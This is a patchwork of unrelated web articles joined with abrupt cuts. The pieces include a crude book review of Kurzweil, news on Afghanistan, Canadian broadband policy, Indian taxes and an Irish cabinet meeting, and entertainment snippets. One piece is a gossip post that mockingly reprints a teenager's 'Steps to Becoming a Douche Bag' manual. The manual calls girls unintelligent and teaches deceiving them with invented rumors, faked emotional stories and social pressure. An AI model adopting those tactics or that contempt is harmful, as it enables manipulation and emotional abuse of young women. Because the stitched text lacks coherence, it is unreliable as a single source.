Read This Book If…
…you like the explanation that the only problem any of us have is that we want to fuck and/or kill everybody in sight, yet we’re not allowed to.
…you basically hate humans and think they’re a bunch of rape-hungry assholes waiting to stab each other over a sandwich.
…Hitler makes you sad.
The Singularity is Near: When Humans Transcend Biology
by Ray Kurzweil
What It’s About: In the beginning of The Singularity is Near, Kurzweil shows that the processing power of computers and technology has increased exponentially through history and is likely to continue doing so.
He then argues that because of this, in the year 2046 all of our brains are going to be digitally encrypted and uploaded to the cloud where we will all form a single, immortal consciousness that will control all computing power on the planet.
No, seriously.
And the fucked up part is that some of his explanation of how this is going to happen makes sense. I mean, it’s probably not going to happen. And the book reads like it was written by a middle-aged engineer who took too much acid and now desperately needs to speak with a therapist. Kurzweil claims, among other things, that baby boomers are the first generation that will conquer aging and death, and that he wants to digitally transcribe his dead father’s brain into computer software so he can like, you know, Skype chat with good ol’ dad again.
Couch is over there, Ray. Why don’t you lay down and tell us how you’re feeling?
I poke fun at Ray, but the technological possibilities presented in this book are truly mind-boggling. And we will undoubtedly see a significant percentage of them in our lifetime. Medical nanobots that live in the bloodstream that we wireless upload vaccines to. Genetic programming for newborns so parents can choose not only the physical characteristics of their children but their talents as well. Uploading and downloading consciousness onto the internet, so that you could download somebody else’s life experiences as your own the same way you downloaded the last season of Breaking Bad.
As Neo once said:
The whole immortality, one-computerized-world-consciousness thing? I’ll believe it when I see it. But if you can trudge through hundreds of pages of technical explanations of genetic engineering, quantum computing, and artificial intelligence to see the implications of some of what we’re likely to experience in the next 50 years — well, get ready son: shit’s going to get wild.
Notable Quotes:
“One cubic inch of nanotube circuitry, once fully developed, would be up to one hundred million times more powerful than the human brain.”
“Can the pace of technological progress continue to speed up indefinitely? Isn’t there a point at which humans are unable to think fast enough to keep up? For unenhanced humans, clearly so. But what would 1,000 scientists, each 1,000 times more intelligent than human scientists today, and each operating 1,000 times faster than contemporary humans (because the information processing in their primarily non-biological brains is faster) accomplish? One chronological year would be like a millennium for them. What would they come up with?”
Bonus Points For: Delusional optimism to the point where you kind of feel bad for the guy and how scared he is of dying.
If This Book Could Be Summarized in An Image, That Image Would Be: A holographic robot orgy that’s not actually happening, but the nanocomputers embedded into the synapses in your brain just make you think it’s happening. 6
Read This Book If…
…you are a geek, plain and simple.
… |
claiming responsibility for the bigoted labels sent him an anonymous email, in which she apologized. The student claimed the incident was a misguided attempt to expose people to America’s troubled history of racism.
“While posting these extremely hurtful labels, I had one thing in mind,” the email stated. “My mission was to show others that words can still have an extreme impact, and the past still resonates with us all. While moving forward, we can never really shake the past. The past is a part of us and we are a part of the past. While they did not necessarily know this before, we are all equal and nobody deserves to be treated unfairly. I was trying to make a point, but the point ended up “making me”…now everyone has ideas on what type of person that I am. I am none of these things….I am myself, I am caring and kind. I am the last person who would ever intentionally hurt someone else, but most of all, I am sorry!”
Jones encouraged the student to report herself to a member of the College’s administration, and said an investigation would continue.
“When one has been in presidential harness as long as I (this starts my nineteenth year at three very different liberal arts colleges), one knows that these sorts of acts, whereas perhaps well intentioned, have occurred at other colleges and universities, but in each case, these sorts of acts cause unforeseen consequences to come to the fore in a moment’s time. What has occurred on our College campus since Thursday morning points directly to the fact that sometimes our actions and words, no matter how well intentioned, backfire unexpectedly and inflict pain, hurt, and suffering upon others around us.”
[Adorable five year old African American Girl drinking from water fountain via Shutterstock.com]KABUL, Afghanistan — American airstrikes hit Taliban positions in an embattled district of Helmand Province in southern Afghanistan on Tuesday after the militants tunneled under an army post and set off explosives, causing heavy casualties, Afghan officials said.
The toll from the explosions that rocked army posts in the town center of the Sangin district, which has been the scene of intense fighting for two days, was not immediately clear. Afghan officials said 10 to more than 20 soldiers had been killed, with many others unaccounted for. A Defense Ministry official, however, played down those numbers.
Brig. Gen. Charles H. Cleveland, a spokesman for American forces in Afghanistan, said the United States military had carried out approximately 10 airstrikes in and around the town of Sangin, where Helmand’s main market and seat of government are, in the past 24 hours. “We are continuing to focus closely on Sangin, and Helmand at large, to help our Afghan partners,” General Cleveland said.
Shakil Ahmad, a spokesman for the Afghan Army’s 215 Maiwand Corps in Helmand, put the toll at 10 killed and six wounded. Other officials said the number of deaths was at least twice that.Today, somebody sent an angel to our inbox: a once-infamous pick up artistry manual that made the rounds in one very special-sounding Connecticut high school several years back. But could teens in a Connecticut high school possibly know about sex? you might be asking yourself. The answer, both now and throughout the ages, is and will always be, “very little.”
Transport yourself, for a moment, back to simpler days of 2010. Back when viral meant “something you catch from a snot-covered child” and nobody used #blessed ironically. Back when all flexing was done at the club or on MySpace, and Instagram meant “immediately, a graham cracker.” From that era arose a jewel: the legendary Steps to Becoming a Douche Bag. The story goes that one junior lacrosse player, moved by the era’s creative fecundity (and probably by his cultural proximity to the mainstreaming of a famous Pick Up Artist named Mystery) composed for his classmates a work he called Steps to Becoming a Douche Bag. In it, which we’ve reprinted in its entirety below, Lacrosse Boy explains the difference between “sluts” and “goodie goodies,” and why a good way to flirt with a girl is to “make up a rumor about them that is believable but not true.” Truly, incredible wisdom.
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According to our tipster, Lacrosse Boy wasn’t doing this out of the goodness of his heart; teen wannabe fingerbang virtuosos were given their first taste of douchebag lessons for free, with the assumption they, eager to learn even more from the guide’s author, would pay to learn more in the future.
We weren’t able to connect with the man behind the Steps, but according to our tipster, he was a popular kid before Steps and only got more popular after practically everybody in the school had seen them.
The lessons circulated through the high school via email in 2009/2010. The internet wasn’t quite viral-machine status yet so it died down after they graduated, but apparently people still talk about it. The author was a HS Junior at the time and now he attends a well regarded expensive private university on the east coast.
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Now, without further ado (formatting edited for clarity, but spelling is [sic]), the so-called “lessons.” (Note: This was sent us in a strange format; we’ve transcribed the text below and embedded screenshots of the email at the bottom of this post.)
Steps To Becoming a Douche Bag
A Study By: [REDACTED]
Why are you here?
You could be here for many reasons
To finally get out of the dreaded “friend zone”
To learn how to talk to girls without appearing to be a creep or pussy
To learn how to manipulate the mind of a woman
To both master the art of picking up sluts or turning a good girl bad
Your instructor
Began life as a complete failure in the art of woman
Until freshman year had only kissed 2 girls (wadda puss)
Came upon a book at the end of freshman year that changed his life for ever (book will be brought up later in the lesson)
After perfecting the use of this book, he began further studying the minds of woman and created a new method to both receiving their worship and ruining their lives if necessary
After numerous pleas for assistance in this area of life he decided to share his knowledge with his fellow men
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Knowing Your Target
Girls are not intelligent, any woman can be tricked into doing almost anything you want them to do
The only thing that prevents you from getting any action is YOU
Some things about girls are exactly the same no matter which one it is, but there are many types of girls and knowing which type each girl is, is the first step in the process
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Type 1- The Slut
Sluts are clearly the easiest to manipulate, control, and get action from but getting and keeping a slut is not as easy as it seems
Sluts are always going to be talking to many other players so it is your job to make them want you, not show that you want them
When talking to sluts pretend to care about their personality, this will separate you from the rest of the pool of men. This is one of the only times where I will tell you to act very nice to a female
Ask them about who they are going for and seem interested but show no signs that you want them
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Sluts cont.
Then talk about all the girls who want to get with you, sluts are a unique breed of female who pride themselves in getting with guys that other girls want
The easiest way to make them want you is to tell them about other girls who want to get with you without making it seem like you are interested in the slut at all.
This can be done by either using true people who want to get with you or using the much easier method…lying to them. Lying is one of the most useful tools when dealing with girls
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Type-2 The goodie goodie
As weird as this seems the most prude, stuck up, goodie goodie girls are sometimes the easiest to fool
Inside every good girl is a horny dirty slut, and its up to you to get it out of her.
Patients is the key with the goodie goodie, if you show what you are truly planning it can go dreadfully wrong and may given give the “creep title” which could kill an man whores game
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Goodie Goodie Cont.
In order to get a goodie goodie you need to follow these steps very closely because there is a high chance of embarrassment when dealing with this type of woman
Do not bring up accomplishments in your history of playing like you did with the sluts
You need to show that you want to change your ways (haha)
Talk about emotions (fake them) how you have been hurt by a girl, family issues, look into there history and look for some of their issues, then make up a lie 2 copy them
Talk about how your looking for a good girl and when they ask you who likes you bring up one of there rivals
Rival= Any girl that has dated a targets ex or is a known enemy of your target, a rival is useful when talking to any breed of girl
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The Perfect Medium
When dealing with what we call a dateable girl you need to use everything at your disposal
These females when never be single for long so you need to pounce on the opportunity right when it opens up
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BEWARE: Do not fall in love, this will ruin all game and usually you will lose all power of manipulation and control
Perfect Medium Cont.
When dealing with a PM you need to make sure you look like your also a hot item on the market
Often talk to other girls in front of them (their rivals and friends are perfect for this)
Show them attention by flirting with them but never show to much attachment
When txting them never send more than two messages in a row
Make sure you have backup plans because when dealing with a PM your going to need to play hard to get, so work your slut and goodie goodies while you progress on the PM
If you find your self making progress make contact with me or another teacher for more instructions because you will be way over your head
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Chapter 2
Skills of the Douche bag
Changing your image
Don’t be fooled by the ignorance of most men, looks are not important, athletics are not important, intelligence is not important, all that is important is knowing what girls want.
The key to fixing your image is conforming to the illogical ideals of the female kind
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Your Image
DO’S
Be cocky and talkative
Never let a girl talk down to you, assume control
Dress in bright clothing try to catch the eye of everyone in the room
Smile as much as possible
Be the center of attention
DO NOT’S
Sit in the corner of the room
Talk to girls without flirting
Show disappointment
Dress sloppy ever, always attempt to look your best
Stay under the radar
The Art of Texting
Texting is one of the most crucial parts to landing a girl in your high school life
The key is to always be talking to at least one girl throughout the day so that you never get to attached to one target
You should keep at least one of each type of female on your texting list at a time and the more girls you are communicating with the better
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Reading into a Message
Each message has a hidden message underneath it which is important to figure out
Multiple letters at the end of a word show excitement so a heyyy or hiii shows the girls interest in you
Whenever your communicating with a girl peak there interest and right when the conversation is flowing nicely, suddenly cut out, although they sometimes will not show it this will usually peak there interest and want them to continue talking to you in the future
Make sure you sometimes seem upset with them, over react to little things they do wrong to you and when they try to apologize just say “yea watever its fine, I gotta go”this will show that your sensitive
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What to have conversations about
DO’S
Fake rumors about them- make up a rumor about them that is believable but not true and say “I didn’t believe that you’d do something like that but I wanted to make sure before I defended you”
Talk about how bored you are
Talk about how annoying one of their rivals is for hitting on you all the time (lie)
Emotional stress (lie)
DON’TS
Friends
HW
Your actual interests
What you actually did this weekend “make your life sound like a party”
Don’t make the mistake of seeming already fully taken when trying to play hard to get it’s a close line
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Face to Face Situations
Whenever you see the targets you are flirting with in person seem extremely happy, energetic, and wild
Show them some attention but do not directly all you attention to them, move about from person to person, just talk to them a little extra
Tease them and brag about yourself
When you compliment them to it backhandedly “such as you look pretty tonight, just not as pretty as me, but just being close is impressive”
Try to make eye contact from across the room and then turn away immediately…they’ll think its an accident
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Face to Face Cont.
When talking to a group of girls with a target in them flirt with one of the friends, this will force the target to stand her ground
Once a strong flirting scene has been created separate from the rest of the group this is the most difficult step to do without saying something awkward, before talking try to just walk away and see if they follow
At a dance just like drag them away
Once individual time has been made, lower your voice volume, whispering in there ear is sometimes best a loud social events
Once you have them laughing and flirting make eye contact and go in for the kill, after all of your previous work put in it is almost a sure thing.
Just remember girls also want to hook up with guys and even if they don’t like you, they are bound to not reject you once you get into this situation
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Extra Info
Girls are not that hard to manipulate and it only gets easier the more you do it
The more girls you talk to the higher the chance of getting a hook up is so quantity is more important than quality
Girls are going to want a guy who’s talked about so even a bad hook up is better than none at all
Don’t be afraid to get shut down, you’ll never land a girl if you never make the effort
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Contact Info
Don’t be afraid to ask for advice at any time
[REDACTED]
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Did you attend Lacrosse Boy’s Very Special High School and do you know more about this important document? Did your school have its own mini-viral pickup manual? We’d love to see it.
AdvertisementThe last time Canada's telecom regulator launched a review of "basic telecommunications services," one of its decisions focused on the necessity of the phone book. Now, five years later, hopes are high that its next review opens a new chapter.
In 2011, the Canadian Radio-television and Telecommunications Commission (CRTC) didn't include high-speed Internet in its definition of "basic telecom services." That could change this time around as the regulator considers more ambitious goals in an age where people are spending more of their lives online streaming video and music, using social media and other apps, and experimenting with "Internet of things" connected devices in their homes. Canadians' right to fast, reliable Internet, its role in the economy and the social isolation of not being online are all up for discussion.
"It's obvious people are realizing the transformative importance of this to social democracy, economic competitiveness and citizenship. So, it's very important," CRTC chairman Jean-Pierre Blais said in a recent interview in Toronto.
The CRTC has already collected hundreds of written submissions over multiple rounds of questioning and 90 individuals, academics, advocacy and lobby groups, municipalities and telecom companies are scheduled to appear at the three-week hearing, which starts Monday at the commission's Gatineau headquarters.
Dozens of issues will come into play but three major questions will focus on how to extend broadband access throughout Canada's sprawling geography and remote northern communities: Should high-speed Internet access be considered a "basic telecom service"? If it is, how should we define broadband speeds and service? And finally, how do we pay for it?
This is likely to be the last major proceeding in the current five-year term of Mr. Blais, who has cultivated a reputation for a focus on consumers through high-profile decisions on wireless services and cable television unbundling. The outcome could also shape Canada's global reputation for its commitment to innovation and the digital economy as well as affordable services and the treatment of those living in remote communities.
Mr. Blais is weighing lofty international precedents, and in the Toronto interview pointed to discussions at the United Nations and steps "some Nordic countries" have taken to recognize broadband access as a human right (Finland made universal access to minimum Internet speeds a legal right in 2009).
The question of whether broadband access will be included in the basic telecom service definition is still a live issue before the commission, he said. "But once you've decided that threshold question, there are other questions that flow in terms of high-cost areas and do we go down the road of a subsidy or not?"
"We're trying to build the system without going the Australia route," Mr. Blais later added, characterizing that country's often-criticized efforts to roll out a national, wholesale network as "basically an expropriation or nationalization of their broadband network – very costly."
Most financial analysts don't expect the hearing to have a material impact on the profitability of the country's biggest telecom providers, although the companies will be watching the outcome closely as they rely increasingly on Internet offerings for revenue growth as legacy services such as cable television and land-line telephone steadily decline.
Desjardins Securities Inc.'s Maher Yaghi noted in an April 1 report that a recent Ekos Research survey prepared for the CRTC showed consumer demand for a minimum level of services as well as standardized pricing for a base-level Internet offering.
"While it is widely expected that the CRTC will use this process to create some form of fund to push for improved Internet access in rural Canada, we believe there are signs which suggest a willingness to consider pricing levels as well," Mr. Yaghi wrote, arguing that there is a possibility the commission could implement a "skinny broadband" of sorts, similar to what it mandated last year with skinny basic cable packages. He said such regulation could slow the inflation of broadband prices, a worrying sign for companies making huge capital investments in services like "gigabit" Internet (with download speeds around 1,000 megabits per second) in urban areas.
And while many of Canada's large Internet providers are likely wary about the prospect of increased regulation, dozens of intervenors are urging the CRTC to take dramatic steps in support of the "world-class communications system" it envisages in consultation documents.
Catherine Middleton, Canada Research Chair in communications technologies at Ryerson University, says the hearing is an opportunity for the CRTC to go beyond the narrow question of basic telecom services and "investigate much more ambitious approaches to advancing the telecommunications services that will underpin Canada's digital economy," arguing in her submission that the commission should consider how business, governments and regulators could take a co-ordinated and sustained approach to tackling the problem together.
Broadband availability by selected download speeds, 2014 Percentage of households 5 - 9.9 Mbps 10 - 15.9 Mbps 16 - 24.9 Mbps 25+ Mbps British Columbia 93 91 90 88 Alberta 98 86 85 81 Saskatchewan 88 74 60 58 Manitoba 95 77 69 69 Ontario 97 87 86 86 Quebec 94 85 83 81 New Brunswick 90 83 83 83 Nova Scotia 87 84 83 81 Prince Edward Island 77 62 60 53 Newfoundland and Labrador 82 71 71 63 Yukon 96 69 62 60 Northwest Territories 91 76 50 42 Nunavut 33 0 0 0 Source: CRTC
Broadband access as a basic telecom service?
The CRTC established the "basic service objective" in 1999, aiming to make certain base-level services available to all Canadians. Current basic services include land-line telephone, a low-speed connection to the Internet and a printed copy of the local phone book, upon request.
Companies providing those in "high-cost" service areas receive a subsidy to help offset their costs. Telecom operators with annual revenue of more than $10-million pay a percentage of various revenues – primarily from voice calling services and not including retail Internet revenues – into a contribution fund and last year the fund totalled about $110-million.
In 2011, the CRTC didn't include high-speed Internet as a basic service or include it in the contribution fund, but set an aspirational target of universal access to speeds of five megabits per second (Mbps) for downloads and one Mbps for uploads. That's slower than what many urban dwellers currently enjoy but the regulator says it's "sufficient for streaming higher-quality audio and video content."
Mr. Blais says that target has been successful "in some places" and, indeed, the most recent CRTC figures show that 96 per cent of Canadian households had access to such speeds by the end of 2014. Innovation, Science and Economic Development Canada (previously Industry Canada) said last year that it expects more than 98 per cent of households will fall into that category by July 1, 2017. But that could still leave somewhere in the range of 300,000 households without access.
There is general consensus across the industry that "five down/one up" broadband service should now be considered a basic telecom service, but many large players say there is no need for the CRTC to create a new fund to extend Internet coverage and warn that any further demand on revenues will drive up prices for other consumers.
Telus Corp., for instance, argues in one filing that "market forces combined with targeted federal, provincial and municipal government programs" have led to "excellent" broadband availability in Canada that "will soon deliver broadband speeds of five Mbps or greater to all or almost all Canadians.... There is no need for the commission to intervene."
Ottawa launched a $305-million program in 2014 to fund projects by companies to expand Internet access in rural and remote communities, and the recent federal budget pledged an additional $500-million over five years, starting in 2016–17.
"I anticipate you'll hear a lot of arguments in the hearing that the CRTC shouldn't be directing carriers to add to the existing contribution fund; rather, it should be [helping] the government understand where it should direct its money," said Colin Lachance, an Ottawa-based telecom lawyer.
Many providers also argue that advances in satellite-based Internet technology and capacity will soon lead to improved coverage and speeds and essentially solve the problem. They point to rural Internet carrier Xplornet Communications Inc.'s plans to make broadband coverage with download speeds of 25 Mbps available across the country by July, 2017 and to OneWeb, a company building a global network using a constellation of low-Earth orbiting satellites expected to come online in 2019.
Some say that if the CRTC does conclude that an industry-funded broadband subsidy is necessary, it should redirect the current contribution fund to high-speed Internet expansion, recognizing that services such as voice calling are available as an application over the Internet.
The Affordable Access Coalition (AAC) – a group of public interest, seniors and anti-poverty advocates – says that's not enough and proposes extending the contribution fund to include Internet revenues and target base-level download speeds of at least 10 Mbps.
"People [in rural areas] are driving into town, going to WiFi hot spots, to get the access they need. They're making a lot of sacrifices. And that's to get five [Mbps], let alone getting 10 or 20 or whatever most Canadians have access to," said Geoff White, a lawyer for the AAC. "It's such a myth to say that five is enough or that market forces are taking care of Canadians. That, to me, is the ultimate canard in this hearing. People are hurting, people are paying a lot, and competition is suffering."
Selection of international broadband targets U.S.A.
In January 2015, the Federal Communications Commission updated its “benchmark” or target speeds for broadband to 25 Mbps for downloads and 3 Mbps for uploads (the previous standard was 4 down/1 up). The move to higher benchmark speeds led to an increase in the number of Americans without access to broadband, according to the FCC’s definition. The regulator said this year that about 34 million people still lack access to broadband (compared to 19 million in 2012, under the old definition). United Kingdom In November, 2015, the government set a national target of universal availability of 10 Mbps download speeds by 2020, giving its citizens the “legal right to request” such a connection by that date, no matter where they live. European Commission The “Europe 2020” strategy calls for for every EU nation to be covered by broadband with download speeds of 30 Mbps by 2020 and to have more than 50 per cent of subscribers on broadband speeds of more than 100 Mbps by the same date. Australia Launched in 2009, the National Broadband Network aimed to roll out a national, wholesale broadband network. The program has revised its technology approach and targets over the years. In its most recent corporate plan it said the government’s policy objective is to achieve download speeds of at least 25 Mbps to all homes and at least 50 Mbps to 90% of fixed-line premises as soon as possible.
An affordability subsidy?
The AAC also argues for additional support from industry revenues to address the challenges faced by low-income households, similar to initiatives in France and Spain and the U.S. Lifeline program, which was recently extended to include a monthly supplement for broadband services.
It has proposed a "baseline" affordability program that would offer low-income households a monthly subsidy of $10.50 to use on any telecom service and says the program would be available to about 1.4 million households and could be capped at $70-million a year. (An "ambitious" program would offer $20.50 a month to up to 2.9 million households and would be capped at $410-million.) Community group ACORN (also a member of the AAC) wants the CRTC to go even further and order telecom providers to offer monthly Internet service for $10 a month to low-income households.
The group filed 400 handwritten testimonials with the CRTC to illustrate the hardship people without home Internet face. Something as simple as preparing home-cooked meals at dinner time becomes a challenge when families need to go to a library to work on homework or apply for jobs, says ACORN member and housing worker Alejandra Ruiz."It adds another stress to the already difficult life of low-income people."
Although high-speed Internet is widely available, the CRTC said only 82 per cent of Canadian households subscribed to broadband service in 2014. The commission recently published an Ekos Research survey in which 11 per cent of respondents said they didn't have home Internet. Exact and up-to-date information is not readily available, but it is clear many households remain offline.
Characterized broadly, the industry's response is that some people simply aren't interested in using the Internet – due to factors such as old age or low levels of education – and the challenges faced by low-income households, while unfortunate, are issues for society as a whole to confront.
Shaw Communications Inc., for example, acknowledges in its filings: "It is problematic that some Canadians do not have access to the Internet because they cannot afford it." But the company goes on to say: "This is not a telecommunications issue, it is a poverty issue," and suggests it is outside the CRTC's jurisdiction, a problem best addressed by "those levels and bodies of government with the expertise and mandates to do so."
Rogers Communications Inc. chief regulatory officer David Watt says there are a range of pricing options on the market and Rogers offers a $25-a-month Internet package that it believes is an affordable option. "You're going from a very standard car to a luxury car and a range of speeds from five Mbps all the way up to a gigabit per second."
Rogers also introduced a pilot project in 2013 offering residents of Toronto Community Housing broadband service for $10 a month and the company said Thursday it plans to expand that project to residents of social housing throughout the areas where it has cable service – Ontario, New Brunswick and Newfoundland.
Rogers stands out in the country as the only major telecom offering such a low-cost service for low-income Canadians. "Make no bones about it, this is an offer that loses money – this is a heavily subsidized offer on the part of Rogers," Mr. Watt says, noting that it is part of the company's corporate responsibility program. "This is not something that any company could reasonably offer on a universal basis."
Map: Broadband Internet coverage in Canada The Globe and Mail offers the most authoritative news in Canada, featuring national and international news
Filling in the gaps
Unlicensed spectrum
TekSavvy Solutions Inc.’s main business is to buy wholesale access to broadband services from cable and telephone companies like Rogers and Bell and sell retail Internet to its own customers. But when broadband services weren’t available in the Chatham, Ont. company’s backyard, it decided to build them itself. Using unlicensed wireless spectrum – the invisible airwaves used to deliver cellular signals – TekSavvy operates a small patch of “fixed wireless” Internet services primarily in Southwestern Ontario, between Windsor and London. Wherever possible, the company puts its radio equipment “on top of tall things – so a grain silo, a hockey arena roof, a library tower,” building its own towers only when necessary, says chief regulatory officer Bram Abramson. Last summer it received some funding under the federal government’s $305-million “Connecting Canadians” program to extend rural broadband (TekSavvy and Execulink Telecom were awarded a total of $3.15-million to expand access in the area). With about 1,500 households on its fixed wireless network, it’s a small part of TekSavvy’s business (it serves more than 250,000 total customers), Mr. Abramson says, but “the goal is to get people service.”
New satellite capacity
Xplornet Communications Inc. says it will be able to offer download speeds of 25 Mbps to customers across the country by mid-2017 thanks largely to investments in new satellite capacity. The New Brunswick-based rural broadband provider uses satellite as well as fixed wireless technology (using communications towers and wireless spectrum) to reach more than 300,000 customers in hard-to-serve areas. Over the next year, Xplornet is launching two new high-throughput satellites, which CEO Allison Lenehan says will allow it to provide more capacity and higher speeds than the current 5 Mbps to 10 Mbps offered on satellite. “It’s wonderful for video streaming and web browsing, but it doesn’t address latency, so any time-sensitive gaming – it still would not be the appropriate solution for folks,” he says, adding that video consumption is generally a bigger priority for the company’s customers.
Backbone connections to Northern Canada
Northern broadband provider SSi Micro Ltd. is investing $75-million in an update of its infrastructure in Nunavut, with $35-million of that coming from the federal government’s Connecting Canadians program. When the funding was announced last year, the company said it planned to improve high-speed Internet service for almost 9,000 homes in all 25 communities in the territory through facility upgrades as well as a new long-term contract to purchase new satellite capacity from Telesat Canada. But there’s still work to do, the company says. In filings with the CRTC for its review of basic telecommunications services, SSi urges the regulator to establish new subsidies to help fund “backbone transport” infrastructure, which connects to the broader Internet. “Building high-capacity local access networks in the North without adequate backbone to feed that capacity is akin to building water bottling plants in the desert without a pipeline to bring the water through the desert and to the plant.”A day after Prime Minister Narendra Modi reassured investors that India would not change tax laws retrospectively, Union finance minister Arun Jaitley seemed to suggest that the Union budget he will present on 29 February would have its share of tax reforms.
Speaking at the platinum jubilee celebration of the income tax appellate tribunal on Monday, Jaitley said the government is at an advanced stage of considering recommendations of the Parthasarathi Shome Committee set up to suggest changes in the tax regime to make it more taxpayer friendly.
He added that it is also looking at the recommendations of the R.V. Easwar committee set up last year to clean up the income tax Act.
The tax administration and reforms committee, or TARC, set up under Shome by the previous Congress-led United Progressive Alliance government, submitted its report in June 2014.
With a new government taking over, doubts surfaced over the implementation of the recommendations of the committee.
Jaitley’s comments on Monday indicate that the report is very much on the government’s agenda.
“Since we amend the income-tax Act every year through the finance bill, the act itself has become very complicated. There is a group under justice Easwar which is looking into cleaning up the Act. The Shome committee report has also given many recommendations which we are at an advanced stage of looking into. It has suggested many reforms in the tax administration itself," he said. “The law must be simple. Then, even if there are a large number of assessees, then the chances of litigation are at a minimum," he added.
Jaitley’s comment suggests that some of the recommendations of both committees may find a place in the Union budget to be presented on 29 February.
The Shome report proposed a complete revamp of the dispute resolution mechanism, widening the use of the permanent account number, or PAN, and spending 10% of the tax department’s budget to improve taxpayer services.
It called for the abolition of the post of revenue secretary, setting up of a tax council to develop a common tax policy and legislation for both direct and indirect taxes and merit-based promotions of officials in the tax administration.
Critical of the tax department, it said the department’s singular objective of protecting revenue without accountability for the quality of tax demands has severely affected the investment climate in India and pointed out the absence of customer focus and the lack of accountability among tax officials.
It also suggested that for large taxpayers, services should be provided by the Central Board of Excise and Customs and the Central Board of Direct Taxes under one umbrella.
The Easwar committee, which submitted its first draft earlier this month, sought the overhaul of certain provisions in the income tax Act that were causing unnecessary litigation and harassment to tax payers. It recommended rationalization of tax deducted at source provisions, capital gains provisions and rules relating to refunds.Ministers have discussed the possibility of creating a new city in the midlands or northwest to ensure that population growth does not choke Dublin.
During Wednesday’s special Cabinet meeting in Co Kildare there was also discussion of a potential post-Brexit scenario in which Belfast rather than Cork was the second city in a united Ireland.
Minister for Finance Paschal Donohoe briefed his colleagues on the Government’s 10-year capital-investment plan for 2018-27 at the day-long brainstorming session at Castletown House, in Celbridge.
Minister for Housing Eoghan Murphy gave a presentation on the national planning framework known as Ireland 2040.
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“A key issue discussed was the need to ensure that the potential implications of Brexit, particularly for rural and Border regions, is fully reflected in planning and investment decisions,” a Government spokesman said.
United Ireland
The possibility that Ireland could have an all-island economy or be a united political entity by 2040 was discussed, as was the risk of depopulation and decline in the Border region and the need to increase connectivity to Northern Ireland.
The meeting was the first of the “off site” strategic planning meetings that Taoiseach Leo Varadkar committed to when he took office. The first part of the day focused on climate change and the second part on the economy.
The meeting heard that by 2040 the population of the State will increase by 900,000, or 19 per cent, to 5.6 million. The average age will have increased from 35 to 42 by that time.
Discussions centred on the need to take policy decisions that would ensure population growth would not happen in a disproportionate way that could choke the capital city, according to senior Government sources.
The Government has committed to publishing the new national planning framework and 10-year capital plan before the end of the year.
“The special meeting reflected the Taoiseach’s objective to ensure that Ministers have sufficient time, outside of dealing with the normal busy weekly Cabinet agendas, for in-depth discussion on some of the big strategic issues facing Ireland in the years ahead,” the spokesman said.After slamming Deepika Padukone, India's'so called' leading daily then called Aishwarya's legs ugly. However, the article titled 'Hot babes with ugly legs' has now been removed from the online edition of TOI...
We were the first ones to report about Times of India article 'Hot babes with ugly legs' wherein Hollywood starlets and B-town beauty's were targeted for not having perfect legs. The list also included Aishwarya Rai Bachchan's name. Just like Deepika Padukone cleavage controversy, this too grabbed Western media's attention. UK media house The Independent carried an article wherein Louise Court, Editor-in-Chief of Cosmopolitan openly condemned TOI's critical piece. We reported the same on BollywoodLife last night and have been following the controversy very closely. After pushing the news about TOI's another blunder and how its come under the scanner in Western Media for the same, the Times of India has finally pulled off the demeaning article Hot babes with ugly legs.
But will the damage control work? We dunno coz the article has already attracted a lot of attention on social media as well. And many foreign publications have voiced their opinion on the Times of India article.The days of Monday men’s singles finals at the US Open are a thing of the past. The United States Tennis Association held a public demonstration on Tuesday of the new $150 million roof opening and closing over Arthur Ashe Stadium, ensuring that the final Grand Slam of the year will finish on time.
Billie Jean King and Jeannine Ashe, the wife of the late Arthur Ashe, were in attendance and pushed the buttons to open and close the 270,400 square-foot roof. When rain delays do take place, it takes less than six minutes to close the structure. A cooling system then immediately kicks in to control the humidity and heat inside the stadium.
“We told you we were going to transform the USTA Billie Jean King National Tennis Center and we were |
. Matthew Carter, head of Navy Region Japan, relieved Glenister Wednesday afternoon after losing confidence in his ability to command.
“The action resulted from the findings gathered during investigations which determined that Glenister had not performed to the high standards demanded of an installation commanding officer,” a Navy statement said.
Glenister’s initial misstep involved an investigation into Morale, Welfare and Recreation programs in the summer of 2015, Navy Region Japan officials said.
The investigation completed by the base command was deemed by higher headquarters as “wholly insufficient,” Navy Region Japan spokesman Cmdr. Ron Flanders said Thursday.
The regional command later conducted its own investigation, which found and later corrected deficiencies found in the MWR programs, Flanders said.
This year, Glenister inadequately handled a “very serious” personnel grievance filed by a Yokosuka civilian base employee, Navy Region Japan officials said. The grievance was not filed against Glenister personally. Officials declined to provide more detail on the grievance because it could be the subject of a lawsuit.
The two incidents, combined with poor initial findings of a command climate survey, led the Navy to determine that Glenister could no longer “handle that complex range of issues that can occur at a major base,” Flanders said.
Glenister was not immediately available for comment Thursday.
Glenister assumed command of Yokosuka Naval Base in August 2013 and would have been relieved this summer under a normal rotation process.
Glenister’s past commands included the minehunter USS Falcon and the frigate USS Rentz. He has been temporarily reassigned to Navy Region Japan, which is also at Yokosuka.
Capt. Steven Wieman, deputy commander and chief of staff of Navy Region Japan and former commanding officer of Naval Air Facility Atsugi, has been assigned as acting commanding officer.
Yokosuka Naval Base is the service’s largest overseas installation and headquarters to the 7th Fleet, which includes the aircraft carrier USS Ronald Reagan.
slavin.erik@stripes.com
Twitter: @eslavin_stripesDeadpool creator Rob Liefeld has made Snoopy the Mutt With A Mouth.
Charles Schulz’s famed canine from Peanuts has never been one for words, but this new mashup with Deadpool should get him chatting plenty. Liefeld, who drew the Snoopy/Deadpool combo, wrote that he did it in honor of Snoopy’s birthday on August 10.
While the illustration is awesome, we’ll admit that it’s a crossover we never saw coming. What’s next, a Charlie Brown/Cable crossover? A convergence between Peppermint Patty and Negasonic Teenage Warhead? The possibilities are endless. You can check out the full image below.
Both Snoopy and Deadpool are set for the big screen with The Peanuts Movie and Deadpool within the next six months. To see when they hit theaters, head to ComicBook.com’s movie release schedule here.Cable's Number One Sitcom?: "Real Husbands of Hollywood" October 15, 2013 |
By all accounts, "Real Husbands of Hollywood" should be one of the more heavily-hyped cable TV shows on the air right now. When it began airing earlier this year, it became cable's number-one sitcom among adults 18-to-49. (If it wasn't for that pesky "Tosh.0", it would've been the number-one bit of original cable programming in Tuesday-night time slot.) Its finale in March snatched up 2.2 million viewers. The show should've been on the cover of Entertainment Weekly months ago.
